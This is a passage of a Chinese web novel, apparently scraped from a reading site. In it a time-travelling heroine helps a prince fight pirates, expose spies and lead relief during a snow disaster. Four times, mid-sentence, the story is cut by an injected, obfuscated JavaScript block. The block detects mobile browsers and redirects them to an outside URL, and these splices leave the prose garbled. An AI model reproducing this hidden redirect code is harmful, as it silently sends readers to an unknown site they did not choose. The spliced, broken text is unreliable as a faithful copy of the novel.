秦澈神色严肃下来:“如今狼筅的使用和鸳鸯阵法都已经熟练,下一场交锋至关重要,昨日我收到密报发现倭寇一处山中据点,我决定今日便带兵出发,攻其不备。” 慕衷情的笑意淡了些:“想要攻其不备,动静就不能太大,你带的人就不能太多,是吗?” 秦澈没有正面回答,反而问道:“我给你的令牌,可还一直随身带着?” 慕衷情将令牌从怀中拿出来:“一直带着,但是你要活着回来。” 她没给秦澈机会说出类似于托孤的话来,又将令牌收到怀里。 “半个月内,我会得胜归来。”秦澈向慕衷情保证道。 “半个月,行,那这半个月我帮你管着他们。”慕衷情思索道,她与秦澈随意说话惯了,丝毫没有意识到,这样的话若换了个有心之人去听,怕是要听出些夺权的意味来。 可秦澈只是提醒一句:“我离开营地的消息未必能守住,为贼寇做事之人我们已抓了几个,可也只有几个,这几日防守不可松懈。” 慕衷情闻言沉思良久:“好,我会注意的,不过我有一个问题,除了百姓之中,军中会不会有倭寇的细作?” 秦澈没有否定她的猜测:“这一点,我也不清楚,但是你可以在这几天试探一番,我不在,或许有些人会轻视你,会露出马脚。” “成,我来抓个汉奸试试。”慕衷情摩拳擦掌,片刻后又担忧道,“可是我最近给他们上课,还提供制造火器的思路,万一他们不轻视我了呢?” 秦澈笑出了声,嘴角的弧度带着嘲讽:“轻云,你别把这些人想得太聪明了。” “也是,只要我是一个女子,总会有人轻视我。”慕衷情说着,斗志昂扬起来,“那我就让他们看看轻视我的代价。” 秦澈赞同地点头:“没错,该让他们看看慕衷情的实力。” 慕衷情闻言,忽然目光灼灼地盯着秦澈,盯得秦澈神色都有些不自然,他轻咳一声问道:“怎么这般看着我?” “你叫我全名了诶。”慕衷情眯着眼笑得开心,来到这个世界后,她听到最多的称呼是小姐、王妃,只有此时此刻秦澈的这一句,是不带恶意地喊着她的名字。 比起那些无谓的尊称,她更喜欢别人叫她的名字,不过她眼珠一转,又说:“不过如果你可以叫我慕同志,就更好了。” “慕同志?这有什么含义吗?”秦澈不懂就问。 “同德则同心,同心则同志,志同道合,就是同志。”慕衷情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565328|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提到这两个字时,目光明亮得像是可以勘破所有的黑暗。 秦澈深深地望着她,眼中是让人看不懂的复杂神色。 是夜,秦澈清点了几千人马,分批离开营地,除了每一批的将领,没有人知道最终目的地。 慕衷情在这一晚辗转反侧,翌日,她召集了秦澈留守营地的几个部将,重新安排了营地守卫和巡逻,故意留出了一个空档,并请几人故意与她演了一出不合的戏,将这调动归结于她的一意孤行。 之后,慕衷情暂停了每天的课程,又让几人故意对外说是他们不愿再去听一个女子胡言乱语。 很快,流言就在营地之内传开,慕衷情整天待在中军帐内,一副甩手掌柜的样子。 她这招有些冒险,好在对方比她预想得更加沉不住气。 就在她拿着编写好的喝热水宣传语,让人拿出去在营地内四处张贴,尽快养成大家喝热水的好习惯的那一天晚上,有人蹲在标语前学写字,抓到了一个想要溜出去的家伙。 慕衷情只确认了下此人是不是在给倭寇传递消息,而后便不再审问,只让人换回原来的巡逻点和时间。 那人试图求饶,慕衷情只说了一句:“若你能够活命的话,那些被毁了家园,失去家人的百姓又算什么?” 翌日一大早,她押着那人,来到训练场上。 正在练习鸳鸯阵法的士兵们齐齐停下手中的动作,几个将领看着慕衷情的动作,其中一人站到她的身后看住那名细作,另外几人指挥手下的兵列队站好。 “今日打扰各位训练,慕衷情在此先给各位说声抱歉,然而这也是不得已而为之,王爷离开之前便嘱托我捉拿营中细作,而今不过三日,那细作便已按捺不住,我思来想去,此事不该只有几位将领和我知晓,因此今日便当着各位同僚的面,说明原委,军法处置!” 慕衷情话音刚落,她身后的那名将领便抽刀直接斩杀。 底下鸦雀无声,似乎没有人有异议,于是慕衷情继续说道:“然倭寇袭扰清州边境多年,细作必然不止一个,往后还望各位同僚多多观察身边人,甚至是周边百姓,若发现有举止奇怪、行踪成谜之人,皆可举报,若查实举报者皆可官升一级,赏银十两!” 此话一出,底下便传来窃窃私语之声。 慕衷情放柔了声音,又道:“你们本该是生死与共的同袍兄弟,我不该让你们互相怀疑,但你们想想这些年,清州边境的百姓们流离失所,家破人亡的样子,难道你们希望倭寇继续壮大下去,终有一日劫掠你们的村庄,残杀你们的家人吗?” 刘竹柏带头喊道:“不愿意!” 底下士兵们齐呼:“不愿意!不愿意!” “那么若发现细作时,该当如何?”慕衷情大声问。 “举报!查证!”方安全大声回应,士兵们再次齐声高呼。 慕衷情满意点头,振臂高呼:“严查细作,保家卫国!” “严查细作!保家卫国!” 士兵们的呐喊回荡在营地上空,似要冲破云霄。 慕衷情挺着背离开,从始至终没有回头看一眼身后的尸首。 走回去的时候,她有些恍惚地想,如果能把政委带过来就好了,肯定比她说得好。 但随即,她的目光重新坚定。 她一定可以留下些什么。 70. 七十、 秦澈一走,又是半个多月。 慕衷情在这段时间里收到不少举报,还真查实了几个细作的身份。 同时,关于喝热水的宣传还在如火如荼地进行着,营地内的士兵们都在互相监督彼此,打水后要烧开,再晾到适合的温度再喝。 不能喝生水,不能喝烫水,要喝热水,喝温水。 等秦澈得胜归来的时候,见到的就是四处张贴的横幅。 喝热水,做自己健康的主人。 烧开的水更干净,少喝生水少得病。 …… 他只看了几句,便知道肯定又是慕衷情的主意。 解决了第一个抓到的细作之后,慕衷情又恢复了每天的课程,她暂停了之前的故事,给大家讲了为什么要烧开水之后再喝的故事和好处。 大家虽然懵懂,不理解什么是细菌,但一听到烧开水再喝能减少疫病的感染几率,便立刻都听话地行动起来。 秦澈先跟驻守营地的部下了解了这段时日的情况,又通报了此次端了贼寇一处据点的好消息,振奋士气,最后才回到中军帐里,看到了正在奋笔疾书的慕衷情。 “轻云,我回来了。”秦澈出声道。 慕衷情停笔,高兴地抬头:“你回来啦,这么快,是不是赢得很顺利?” “嗯,我们到达时,先在附近的村落和城镇打听了一番,确认了他们常常下山采购的日子,蹲守后跟踪过到据点,而后根据地势设下埋伏,用上了新制作的狼筅和鸳鸯阵,此次伤亡极小,只有受伤,没有牺牲。”秦澈克制着情绪,简单地与慕衷情叙述了这半个多月的经历。 慕衷情兴奋地鼓掌:“群众路线要再接再厉,你们可以多接触些百姓们,倭寇不可能总是生活在海上,他们只要落地,就必然会接触百姓,这张情报网是最大最全面的。” “确实,只是并非所有百姓都愿意冒此风险,将线索告知我们。”秦澈顿了顿,又补充道,“所以我越来越明白,你为何一定要让我去执行那三大纪律八项注意。” 慕衷情望着他,良久叹了口气:“有觉悟,要是你在我那个世界,我高低得做你的入党介绍人。” 秦澈没听懂,但秦澈习惯了,不妨碍他开启另一个话题:“刚刚来的路上,我看到的那些句子,都是你写的?” “嗯。”慕衷情重重点头,“原稿我都存着呢,等回到舟安,百姓之间也要大力宣传。” 秦澈眉头微微蹙起,担忧道:“冬日里,普通百姓家中碳火木柴怕是未必充足。” 慕衷情神情严肃:“冬日寒冷,百姓家中若是无法烧火,如何取暖,如何吃饭?缺少烧火工具,是我们应该去想办法解决的问题。” “我让各地府衙提前收购、储备碳火和木柴,以及冬日棉衣,若有家中不足者,可来府衙领取?”秦澈提议道。 “最好不要完全免费,否则家中富裕的人都要来领,很容易导致物资不足,要尽量保证发放到需要的人手中,冬日有没有什么工程可以开展的?”慕衷情说道。 秦澈思索良久:“有了,军器局可以召集工匠,去批量生产火枪,还有尝试制作你说的那种地雷。” “不过,你这样大量制造武器,姜喧会不会又要给你找麻烦?之前那几个人可是没说出其他同伙呢。”慕衷情有些担心,“这次回去,我还得去看看陆霜雪的情况,如果她能想通,倒是能给我们减少些麻烦。” “无妨,细作是抓不尽的,我要是真的反了,最害怕的反而是他。”秦澈与姜喧对抗多年,也足够了解这位皇帝,往常他安心守护南境,姜喧处处针对,便是知晓他并没有谋反之意。 一旦姜喧发现他真的要反,除了发疯,也没有什么能做的了。 “那在这之前,最好先将王府的人带出来,否则他们怕是要收到牵累丢了性命。”慕衷情可没有忘了彩珠,当初为了证明自己并无二心,她没有带上最亲近的彩珠,如今总不能再把人丢在京都自生自灭。 秦澈走到桌前看慕衷情写的东西,此时营帐外传来求见的声音,慕衷情将桌子快速整理好后,秦澈才让人进来。 来人是秦澈这次带出去的将领之一楚昭良,与刘竹柏、方安全的五大三粗不同,楚昭良和他的名字有点像,看起来就是一个讲道理的文雅人。 “参见王爷,王妃。”楚昭良行礼过后,看到慕衷情坐在主位,秦澈站在她身旁,愣了一下,但没有说什么。 秦澈问道:“何事禀报?” 楚昭良:“已将此次带回俘虏押至军前,王爷与王妃是否要一同前去?” 慕衷情询问的目光看向秦澈,秦澈解释道:“带回了几个贼寇头子,准备当众审判其所犯之罪,坚定剿匪军心。” 慕衷情眼睛一亮:“那感情好啊,走走走,这必须一起去。” 这可是一堂非常好的“为何而战”的教育课啊。 来到处决场的时候,四周都是列队的士兵,且大多都是有职位在身的,否则普通士兵这么多,肯定是挤不下全部的。 秦澈虽然还没有将慕衷情所说的那些事情一一落实,但他至少学会了一个形式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573784|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一部分人来听,回去后开会,给自己的部下们讲述所见所闻。 而慕衷情所说的那种军事、教育、品德全方位优秀的人才,秦澈也在思索该如何寻找,并收入麾下。 这次回来的路上,他一直忘不了捣毁贼寇老窝后,士兵们将里面被掳来的百姓一一送回家之后,将找到的财物大半都换了粮食与衣物分给当地的贫民,百姓们主动向他们下跪道谢时那感谢的目光与不止的泪水,以及他们离开时,那夹道欢送的欢呼与不舍。 原来,仅仅只是做了这些,就可以得到这般真心的拥戴。 秦澈的面前跪过不少人,他听过无数的欢呼声,却没有哪一次,有这般动容。 本来,那些贼寇都要被就地斩杀,但秦澈忽然想到慕衷情说过的诉苦大会,他便留了一个活口,想要带回来当众叙述他的罪过,来试一试慕衷情的方法。 秦澈本还想要慕衷情上前去演说,可慕衷情拒绝了,她说,这般场景,无需太多矫饰的言辞,只要陈述罪状,便足够底下的人义愤填膺。 他们只需要知道,若不奋力抵抗,往后遭遇这些的人,便是他们的家人好友,是他们自己。 这样的想法,要一步步去加深,并不一定要每次都慷慨陈词才行。 慕衷情听着楚昭良宣读的一条条罪状,她本以为自己会很气愤,很伤心,可她却异常平静,就连感慨也那么安静,只在眼眸中透出些许伤怀。 许是秦澈之前的举动让百姓们对清州军有了更大的信任,几日之后,竟然有当地百姓主动上报发现的贼寇踪迹,秦澈大喜,赏了些米粮和银钱,同时在周边城镇四处张贴征集线索的告示,争取像慕衷情说的那样,建立起一张全民情报网。 又是两月过去,慕衷情跟着秦澈辗转沿海各地村镇,救助百姓,出谋划策,她的课从训练场开到了田间地头,来听课的人除了士兵,还多了许多孩子和边做手工活边带孩子的女子,于是她又多讲了好几个关于女子的故事,从古至今,那些不屈的灵魂会一次又一次地带来力量。 直到今冬的初雪纷纷扬扬地落了下来。 对于雪,慕衷情是很熟悉的。 但秦澈常年生活在清州,对清州的天气更为了解,这场雪一下,他便连着几日忧心忡忡。 慕衷情不解便问:“这雪下得有问题吗?” 秦澈拟了好几道让清州各地囤粮囤衣的命令,解释道:“往年清州的雪往往要到过年前后才会下几场,今年来得太早了。” 慕衷情心头一震:“你是怕,会有雪灾?” 71. 七十一、 秦澈的直觉是在无数生死存亡之际锻炼出来的,他一看到这场雪就感到一阵莫名的不安。 宁可错判,不可无视。 秦澈与慕衷情一商量,当即决定带领一部分人马返回舟安,留下几个将领驻守在附近,待到确认贼寇没有其他动作之后再回到各自的驻地。 路上,慕衷情望着那杆四边绣着许多看不清的繁复图案的旗帜,对秦澈道:“若有一日你准备好了,这面旗帜可以换吗?” 秦澈沉默良久:“清州军的旗帜已传了三代。” 慕衷情以为他这是委婉的拒绝,应了一声,没有再提。 谁知又过了一会儿,秦澈忽然道:“那这面旗帜是忠君卫国的清州军旗帜,并非保家卫国的。” 他侧过头,一身甲胄,眸中含笑望着慕衷情。 慕衷情猛地抬眼,眼里透出些兴奋,但又有些不放心地再次试探:“那新的旗帜,可不可以由我来设计?” “自然可以。”秦澈爽快地答应下来。 心情大好的慕衷情轻巧地哼起歌来,直到晚间扎营做饭,她一边帮忙生火还一边反复哼着同一段旋律,似乎很喜欢这首歌。 待到几人围坐在篝火旁一起喝着稀粥啃着干粮时,听了一路的方安全终于忍不住问道:“王妃,您今日一直哼着的小曲我怎么从来没听过呢,难不成是京都盛行的?” 慕衷情啃着饼答道:“不是京都的,不过你们若是想听,我可以唱给你们听啊。” 此话一出,周围几人都瞬间看向秦澈,毕竟在这个时代,给别人唱曲的大多都是优伶歌姬,这不仅有损王妃的清誉,也相当于是在打秦澈的脸面。 慕衷情看到这氛围才意识到这点,秦澈却悠悠道:“无妨,在军中,哪儿来那么多规矩。” 秦澈不在意,其余人才放下心来,说到底都是秦澈的心腹,他们可以不在意其他规矩,只在意秦澈的态度。 这么长时间相处下来,只要不瞎的人都能看出秦澈对慕衷情的重视,虽然对于他们来说,慕衷情的很多想法和做法都是超出他们理解的,但正是因为这些超越理解的东西,也让他们对慕衷情多了一分与秦澈无关的敬重。 慕衷情喝完粥,清了清嗓子,她唱歌不算多好,只胜在不怎么跑调和感情充沛,大概也跟她多唱红歌和军歌有关。 “烽烟滚滚唱英雄,四面青山侧耳听,侧耳听……为什么战旗美如画,英雄的鲜血染红了它,为什么大地春常在,英雄的生命开鲜花!” 这首歌慕衷情非常喜欢,在大学勤工俭学的时候,她一边打工一边学习,还铆足了劲去申请入党,最累的时候她能在每课的那天打上三份工,都是卡着宿舍关门的时间下班回家。 学校的位置在郊区,她每次在晚上骑着自行车经过一段无人的小路,都会唱这首歌给自己壮胆,就好像她的身边真的有无数个英雄正保护着她,让她有勇气去面对一切困难。 在这个世界唱这首熟悉的歌时,慕衷情的眼底带上了泪光,但她还如从前一样的坚定。 就连慕衷情都没注意到,在她开始唱歌之后,周围的许多士兵们都停止了私语,安静地聆听。 她唱完最后一句后,有很多人都抹了一把脸。 他们其实并不能完全听懂歌词,但不妨碍他们感受到慕衷情歌声中深刻的情感。 秦澈低头喃喃念着那句“为什么战旗美如画,英雄的鲜血染红了它”,似乎想到了什么。 晚风吹得篝火跳动,四周静得都能听到木柴烧灼时偶尔响起的噼里啪啦的声响。 方安全吸了下鼻子,瓮声瓮气地问:“英雄?我们也曾为瑾朝流血受伤,那我们算得上英雄吗?若我们算得上英雄,朝廷为何收了清州的税,还要克扣我们?!” 慕衷情托着腮,温声道:“你们当然是啊,每一个为国家为人民付出和奉献的人,都是英雄,朝廷对不起你们,是朝廷的错,若是你喜欢这首歌,我可以教你唱啊,以后你也可以唱给无数个抛头颅洒热血的军人,唱给那些或许手无寸铁,也依然支持爱戴你们的百姓。” 方安全偷偷瞄了秦澈一眼,往慕衷情身侧挪了一步:“那王妃是认为,那位错了?” 秦澈抬了下眼皮,没阻止他的问话。 周围的人依然安静得可怕,能听到他们对话的人都悄悄竖起了耳朵。 慕衷情张嘴说的却是:“其实我不太喜欢王妃这个称呼。” “啊?”方安全惊愕,目光在慕衷情和秦澈之间移来移去,不知道脑补了什么,惊慌失措道,“王妃,王爷可是一心扑在您身上,我们都知道的,王爷从未如此在意过一个女子,您可是唯一一个,您,您怎么能伤王爷的心呢!” 秦澈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579919|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……”这手下有点丢人,怎么办。 他刚想挽回一下自己的面子,便听慕衷情笑道:“我不是这个意思,我是说,王妃,顾名思义就是王爷的妃子,说到底只是别人的一个附庸,但我有自己的名字呀,慕衷情,是我的大名,你们可以叫我的名字,可以叫我慕姑娘,慕小姐,我只是希望你们看待我时,不止看到我的身份。” 说着,慕衷情看向秦澈,眉眼温柔:“就像你们跟着秦澈,敬佩他,忠心于他,不是因为他是清州的王爷,而是因为,他是一个好主将,对吗?” 方安全嘟嘟囔囔,但他的声量从来不小,明明已经压低了声音,大家还是都能听到:“可是王妃已然嫁给王爷,我们这些粗人若是直呼王妃名讳,也太过冒犯了。” 还是根深蒂固的尊卑观念。 慕衷情知道自己没法立刻改变他们的观念,便看向秦澈道:“我倒是有一个想法,就是不知陆离是否同意。” 秦澈挑眉:“但说无妨。” 慕衷情道:“不如清州军同袍们,彼此之间都改个称呼,要么统一叫姓氏加同志二字,要么便称呼对方姓氏加职位,大家都是浴血作战的战友,军令如山没错,可尊卑分得如此明显,倒也是生疏了。” 同志,秦澈想起了上一次慕衷情提到这两个字时的神情,他想,不过是个称呼而已,为何对她如此重要? 他不懂,但他已经习惯相信慕衷情。 秦澈沉吟道:“只要大家没意见,我也没意见。” 方安全嘿嘿笑了几声,拿着饼就往其他人那儿走:“来来来,你们叫我一声,我听听好不好听。” 有和他相熟的人大胆开口:“方同志。” 方安全咂摸了几句,竟然莫名觉得好听,他又回身朝慕衷情道:“还是王妃,不对,慕同志有才华,这确实好听,好听。” 说着,他又去祸害各个小兵,让他们叫自己几声听听。 秦澈都被他逗得哑然失笑。 回程的前几天,都在这改换称呼、学习唱歌的欢乐氛围中度过,但离舟安越近,大家的神情便越严肃。 原因无他,只因往年下不了几场雪的舟安,竟又连着几天下大雪,目之所及之处,已经有积雪堆积在路上、树上和房顶上。 天气越来越冷了,若是这雪再这样下下去,一场天灾避无可避。 72. 七十二、 回到舟安的第一天,秦澈安排囤粮囤衣,清理积雪的事宜,慕衷情则稳定物价,大力打击囤积居奇的商户,同时让人去找寻安置点,以免到时候积雪压垮房屋时,百姓流离失所。 两人正忙得不可开交时,司岳却紧锁眉头,忧心忡忡地来找慕衷情。 “王妃,不好了。”司岳是女子,又与慕衷情熟悉,径直推开房门便闯了进去,着急忙慌道,“城中忽然流言四起,说您是天煞灾星,说您之前所做都是为了扰乱舟安,祸害清州,如今天降大雪,便是您引来的灾祸!” 慕衷情被她的动静吓了一跳,待到听完她所说的,不甚在意地笑道:“我还以为发生了什么大事,原来只是流言。” 司岳见她不重视,焦急劝道:“王妃,我知您不在意这种肮脏手段,可是可是那些愚民会信呐,他们真的会认为您是灾星,对您不利的!” 慕衷情听到她这般说,才敛了笑意道:“司岳,大部分百姓只是没有读书明理的机会,他们没有钱,没有时间,光是为了糊口就已经一年到头忙得直不起腰,若要他们不被蒙蔽,便要把全民教育做起来。” 司岳怔愣,刚刚不是还在说流言的事情吗?怎么又扯到教书育人上来了? 良久,司岳长长叹了一口气,无奈道:“王妃真是,真是为百姓操碎了心。” 慕衷情见她如此,忙上前拉着人坐下哄道:“我知道,司岳都是为了我好,担心我受委屈,司岳定是这清州最挂心我的人了,来来来,不要不高兴,喝点水消消气。” 司岳被她夸张的语气逗笑,一口气喝完一杯茶水,她起身去关上房门,屏退下人:“衷情,你毕竟是女子,纵有再多才华,仍有人会因此瞧不上你,我是担心这流言散播开来后,他们怕是要毁了你的名声,一旦女子的清誉被毁,无论你做了什么好事,那些人就都看不到了。” 本以为慕衷情听了这一番话能重视些流言的事情,却没想到慕衷情盯着司岳高兴地鼓掌起来。 “司岳,你真的太棒啦,现在就意识到造黄谣的逻辑了。” “什,什么?”司岳表情疑惑。 慕衷情拉着她的手,兴奋道:“等这个冬天过去,我准备继续修路,还准备召集工人在每条都修学堂,往后十二岁以下稚子,不分男女,皆可入学堂读书,我会说服王爷开设女户,女子若不愿嫁人,可独立开户,无论经商或是做什么其他活计,都可以,但是呢我肯定需要帮手,学堂的事情我想交给你,那些不愿让女子的人家,我们可以一一去走访说服。” 司岳眸光复杂地望着对未来无限憧憬的慕衷情,又忍不住叹气道:“衷情,你明明是如同仙女般心善的人,他们却要这般诋毁你,真是太恶毒了。” 慕衷情被她夸得起了一身鸡皮疙瘩,连忙道:“好好好,那我先来处理流言的事情,我想想,面对这种造谣,你直接自证是不可能的,谁能证明自己不是这种虚无缥缈的灾星啊,所以呢,我们可以用魔法打败魔法。” “怎么打败?”司岳没听懂魔法,但不妨碍她听到了打败。 “他们不是说我是灾星嘛?那我们就放点流言说我是福星就好了啊,重点宣传一下分地的事情,再把王爷今年除寇顺利,一看到下雪就回来救灾的事情说一说。”慕衷情嘱咐道,“不过重点还是要在分地的事情上,毕竟这件事关系到最多普通百姓的利益,最容易让他们相信。” 司岳还是有些不放心,但先应下了:“好,这件事我会着人去办,但未必堵得住流言,衷情,我们最好还是做两手准备。” “你说得有理。”慕衷情这次思索的时间长了一些,“那你便去查查都是谁在传流言,我教你方法,抓住任意一个说这些的人,当众问他有没有证据,若没有便是诬陷,要拉去打板子抄家,只要他说出不是他说的,便要求指出是谁传的谣言,说出来便带着人去找指认的那人,一个一个这么抓下去,动静闹得越大越好,他们越心虚,其他人便越不信。” 司岳的眉头终于松开,光是想想便觉得出了一口恶气:“好,就这么办,这些人我要亲自去抓!我,我还要穿回女装去抓!” 说着,司岳立刻起身,急匆匆地跑出了房间。 慕衷情大喊道:“这么着急干嘛?吃个饭再走呗?” 司岳的声音远远传来:“不吃了,急得很!” 慕衷情失笑,在门口守着的芸儿上前搀着她:“王妃,司大人不吃,王爷可还等着您用膳呢。” “成,那休息一会儿,先去吃饭。”慕衷情来到这儿大半年,还是学不会优雅端庄,她其实挺佩服那些大家闺秀的,一举一动都不会失了仪态,可惜这样的典雅不适合她。 大步来到桌前坐下,慕衷情拿起筷子就开炫。 “今日雪停了半日,若往后几天都不再下,或许不会酿成大灾。”秦澈道。 慕衷情看了眼灰蒙蒙的天,并不乐观,只说道:“若出了事,恐怕还是需要跟王爷借点人手,若要赈灾,我希望清州军是主力。” 秦澈看向慕衷情,从前赈灾都是当地府衙的责任,唯有遇到暴民叛乱时才会用到军队镇压。 但在慕衷情眼里,好似这职责天然便是军队的。 秦澈越发好奇,在慕衷情的那个世界,军队、军人到底代表着什么。 “好,我会让他们听你的吩咐。”秦澈答应下来。 他也很想看看,原本用来镇压的军队却在赈灾,又是怎样的一种光景。 司岳的动作很快,第二天,便押着几个人敲锣打鼓地宣传他们造谣王妃是灾星妖女的事情,还将他们的身份找了出来,正是之前逃出舟安的一家地主,因为不甘心,又趁着秦澈和慕衷情不在,偷偷潜回舟安,试图拿回些什么。 可如今舟安的农户可没有从前好糊弄了,他们找了从前的几家佃户,没一个听他们忽悠的,反而拿扫帚、铁锹追着他们打。 比起从前的麻木隐忍,着实泼辣了不少。 揭露他们身份之后,城中百姓更加不屑那些流言,反而相信起司岳散播的传言,认准了慕衷情是上天派来帮他们的福星。 对此,慕衷情有些无奈,但这毕竟对她往后要做的事有利,便没有阻止。 完全理解古人起义造反时,为啥要折腾这么多故事了。 这场雪并没有如秦澈期盼的那样停下,反而越下越大。 慕衷情当机立断,在四处城门设了临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589903|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时物资点,通知所有人来领棉衣和木炭,分发物资的事情自然交给了驻守舟安的清州军,执行前,慕衷情还特地又让他们背了好几遍三大纪律八项注意,嘱咐他们态度一定要好,不可收受贿赂,而此次参与分发物资的人员,也能得到一定的赏银。 连秦澈都有些无奈地说,幸而清州州库有些存银,否则怕是经不起慕衷情这么花了。 不过高低是犒劳自己的将士,秦澈也没有多管。 这次他们的准备做得很快,物资充足,又强势控制物价,虽然仍有大雪压垮房屋的事情出现,但百姓们很快便找到了府衙求助,再有清州军护送到安置点暂时生活。 临近过年时,天气终于放晴,冰雪开始消融,慕衷情又立刻募集工人,以工代赈,出资为那些灾民重建房屋。 那几日,王府门前跪满了那些在这次大雪中失去家园,却能够安稳生活,保住性命的百姓们。 一些家中没有受到影响的百姓们也纷纷主动拿起手中有的工具,声称不要官府的钱,他们愿意帮助邻里们重建房屋。 慕衷情自然没有同意,给的待遇很好,却没有人报名,她跑到城外受灾最严重的一处村庄,看到的一副热火朝天干活的景象。 她心中怅然又感动,上前走到一块石头上,大声道:“各位乡亲们,暂且歇一歇,听我说一句。” 不少人朝她望过来,有人认出了她:“王妃!是慕王妃!” 人群立刻涌了过来,在她面前跪了好几排。 “乡亲们先起来,起来吧。”慕衷情连忙道,“我今日来,也是听说了大家的义举,既然大家都不愿那我们的银子,那动工的这几日,便让我来安排大家的吃食如何?你们受苦这么久,总不好让我一直看着,帮不上忙。” 闻言,刚刚站起来的几个人又扑通跪下,一位干瘦的老人含着泪道:“慕王妃果真是菩萨心肠,果真是天人下凡啊!” 于是,所有人又开始磕头。 慕衷情急得挠头,对身旁的司岳道:“赶紧让人把大家都扶起来吧。” 司岳掩唇一笑,吩咐下去。 几个死活不肯起身的,都被士兵拎了起来。 四周的雪还没化尽,但道路上的雪都被慕衷情吩咐扫到了两边,树上偶尔会落下些雪来,但也大多已经抖落干净。 在这一片并不富有生机的土地上,慕衷情穿着一身红衣,在猎猎的风中如同一面旗帜,为迷茫的过客指引方向。 “我不是什么天人下凡,我只是一个普通人,我知道大家心善,愿意帮助自己的同胞,但我也希望能够多帮大家一些,至少每天中午,还能吃上一顿热乎的饭,而不是啃硬邦邦的干粮,等来年开春,我还要继续修路,修水渠,建设学堂,到时,我也还要求着大家帮忙呢。”慕衷情情真意切,又提高音量道,“清州,是我们的家乡,舟安,有我们的家园,让我们一起将舟安建设得更加美好,让每个人的生活都能更加富足,大家相信我好不好!” “好!好!我们都听王妃的!” 底下传来热烈的回应,和百姓们信任又充满希冀的笑容。 司岳就如所有人那般抬头望着慕衷情,满是仰慕与敬佩。 73. 七十三、 众志成城,那些垮塌的房屋竟然在新年到来之前都被修复重建完成,那些百姓也都离开了安置点,回到了自己的家中,欢欢喜喜地准备过年。 舟安的这个新年,注定会比以往更加热闹,也更加快乐。 大年初二的时候,蔡书霖带着妻子与一双儿女来王府拜年,往年,他的府邸和王府在这样的时节来往的人总是非常多,今年却是冷清了不少。 大抵是那些原来需要人情往来,维持关系的高门大户,都被慕衷情赶的赶,杀的杀,仅剩的留下来的那些差人送了些礼后,没有过多打扰。 正月十五那天,舟安城中办了游园会,四处张灯结彩,往日甚少出门的女子们也都结伴出游,司岳和慕衷情聊天时还讲起了折柳巷的姑娘们,她们如今可是折柳巷的最有头有脸的人,互相帮衬着开商铺,新来的若敢欺负她们中任意一个,都会被她们联合起来,这泼妇的名声早传遍舟安了,没人敢惹。 这是她们获救后的第一个新年,于是大家便商量着办了一场花灯会,说每种款式花灯都只有两盏,分到两盏一样花灯的人,若能在园中遇见,便是有缘人。 这个噱头吸引了不少年轻男女,左右也只是游园,没人能真的因为手握两盏同样的花灯便要定下终身,若是遇见心仪的,那再看往后的事,若是不喜欢,丢了花灯便是,因此大家都跃跃欲试,想看看自己的缘分。 几个姑娘们收卖花灯的钱都收到手软了。 最有意思的是,秦澈也难得起了出去游玩的心,说要去折柳巷的花灯会看看。 又像是怕慕衷情误会似的,补了一句,表明他可不是为了看缘分,只是过去走走罢了。 慕衷情也很久没去折柳巷了,便和他一起换了身不起眼的便服前去。 折柳巷与慕衷情记忆中的模样已经完全不同,两旁是林立的店铺,偶尔瞧见一间善堂或学堂,街上的人仍然笑语盈盈,却不是为了揽客,也不是为了当嫖客。 慕衷情本来和秦澈并肩慢悠悠地散步,兴奋地四处张望,漂亮的花灯,热闹的小摊,有太多太多慕衷情没见过的新奇玩意。 从前,她忙着生活,忙着努力,实在没有时间和精力去多看一眼这样热闹的场景。 过节时,她会穿梭在不同的商场,抓紧每一分每一秒,发传单,做奶茶,布置宣传点。 大部分时候,她都是这份热闹的创造者之一,而不是享受者。 忽然,慕衷情像是看到了什么,快步向前走去,秦澈反应已经很快,立刻想要跟上,但一个小孩忽然撞到了他的腿上,他下意识地扶了一下,孩子的父母立刻拉住孩子与他道歉,他摆摆手说没事,再抬眼时便没了慕衷情的身影。 